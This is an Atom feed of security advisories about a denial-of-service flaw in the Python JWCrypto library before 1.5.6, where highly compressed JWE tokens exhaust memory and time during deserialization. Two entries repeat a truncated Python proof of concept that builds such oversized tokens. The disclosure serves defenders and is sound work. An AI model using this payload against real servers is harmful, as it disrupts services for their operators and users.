<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T07:24:58.209874+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2024-28102</id>
    <title>CVE-2024-28102 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function</title>
    <updated>2026-09-29T07:24:58.212241+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> latchset jwcrypto</p>
<p>JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2024-28102"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-j857-7rvv-vj97</id>
    <title>GHSA-j857-7rvv-vj97 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function</title>
    <updated>2026-09-29T07:24:58.212351+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: jwcrypto</p>
<p>## Affected version
Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5</p>
<p>## Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.</p>
<p>## Poc
```python
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))</p>
<p>payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "zip": "DEF",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)</p>
<p>print("-----uncompress-----")</p>
<p>print(len(enc))</p>
<p>begin = time.time()</p>
<p>jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)</p>
<p>print(time.time() - begin)</p>
<p>print("-----compress-----")</p>
<p>payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(com…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-j857-7rvv-vj97"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-1484</id>
    <title>PYSEC-2026-1484 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function</title>
    <updated>2026-09-29T07:24:58.212464+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: jwcrypto</p>
<p>## Affected version
Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5</p>
<p>## Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.</p>
<p>## Poc
```python
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))</p>
<p>payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "zip": "DEF",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)</p>
<p>print("-----uncompress-----")</p>
<p>print(len(enc))</p>
<p>begin = time.time()</p>
<p>jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)</p>
<p>print(time.time() - begin)</p>
<p>print("-----compress-----")</p>
<p>payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(com…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-1484"/>
  </entry>
</feed>
